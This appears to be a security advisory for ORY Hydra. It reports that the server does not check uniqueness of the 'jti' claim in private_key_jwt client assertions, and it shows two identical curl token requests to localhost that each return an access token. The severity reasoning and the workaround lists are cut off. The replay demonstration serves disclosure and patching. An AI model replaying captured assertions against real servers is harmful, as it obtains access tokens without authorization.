When using client authentication method "privatekeyjwt" [1], OpenId specification says the following about assertion jti
:
A unique identifier for the token, which can be used to prevent reuse of the token. These tokens MUST only be used once, unless conditions for reuse were negotiated between the parties
Hydra does not seem to check the uniqueness of this jti
value. Here is me sending the same token request twice, hence with the same jti
assertion, and getting two access tokens:
$ curl --insecure --location --request POST 'https://localhost/_/oauth2/token' \
--header 'Content-Type: application/x-www-form-urlencoded' \
--data-urlencode 'grant_type=client_credentials' \
--data-urlencode 'client_id=c001d00d-5ecc-beef-ca4e-b00b1e54a111' \
--data-urlencode 'scope=application openid' \
--data-urlencode 'client_assertion_type=urn:ietf:params:oauth:client-assertion-type:jwt-bearer' \
--data-urlencode 'client_assertion=eyJhb [...] jTw'
{"access_token":"zeG0NoqOtlACl8q5J6A-TIsNegQRRUzqLZaYrQtoBZQ.VR6iUcJQYp3u_j7pwvL7YtPqGhtyQe5OhnBE2KCp5pM","expires_in":3599,"scope":"application openid","token_type":"bearer"}⏎ ~$ curl --insecure --location --request POST 'https://localhost/_/oauth2/token' \
--header 'Content-Type: application/x-www-form-urlencoded' \
--data-urlencode 'grant_type=client_credentials' \
--data-urlencode 'client_id=c001d00d-5ecc-beef-ca4e-b00b1e54a111' \
--data-urlencode 'scope=application openid' \
--data-urlencode 'client_assertion_type=urn:ietf:params:oauth:client-assertion-type:jwt-bearer' \
--data-urlencode 'client_assertion=eyJhb [...] jTw'
{"access_token":"wOYtgCLxLXlELORrwZlmeiqqMQ4kRzV-STU2_Sollas.mwlQGCZWXN7G2IoegUe1P0Vw5iGoKrkOzOaplhMSjm4","expires_in":3599,"scope":"application openid","token_type":"bearer"}
We rate the severity as medium because the following reasons make it hard to replay tokens without the patch:
This will be patched with v1.4.0+oryOS.17
Two workarounds have been identified:
